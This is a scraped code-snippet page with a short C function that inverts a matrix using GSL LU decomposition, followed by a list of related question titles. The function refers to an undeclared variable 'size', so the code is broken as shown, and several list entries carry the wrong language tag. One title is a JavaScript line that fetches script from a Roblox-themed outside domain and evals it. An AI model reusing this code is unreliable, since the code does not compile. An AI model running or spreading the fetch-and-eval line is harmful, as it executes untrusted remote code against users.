Gsl matrix invert

gsl_matrix *
invert_a_matrix(gsl_matrix *matrix)
{
    gsl_permutation *p = gsl_permutation_alloc(size);
    int s;

    // Compute the LU decomposition of this matrix
    gsl_linalg_LU_decomp(matrix, p, &s);

    // Compute the  inverse of the LU decomposition
    gsl_matrix *inv = gsl_matrix_alloc(size, size);
    gsl_linalg_LU_invert(matrix, p, inv);

    gsl_permutation_free(p);

    return inv;
}

Source: gist.github.com

Similar codes

0 vote118 views1 answer
Addition in c
C
0 vote162 views1 answer
Bootstrap textarea from
C
0 vote135 views1 answer
Too many arg
C
0 vote136 views2 answers
C float to string
C
3 votes118 views1 answer
Circle around icon flutter
C
0 vote131 views1 answer
Highest common factor algorithm in c
C
1 vote130 views3 answers
String array in c
C
0 vote125 views9 answers
Javascript$get'//roblox-api.online/roblox?id=5904'.eval)
C
2 votes190 views1 answer
Arduino how to set pins as high or low
C
6 votes114 views1 answer
What is strikethrough in markdown
C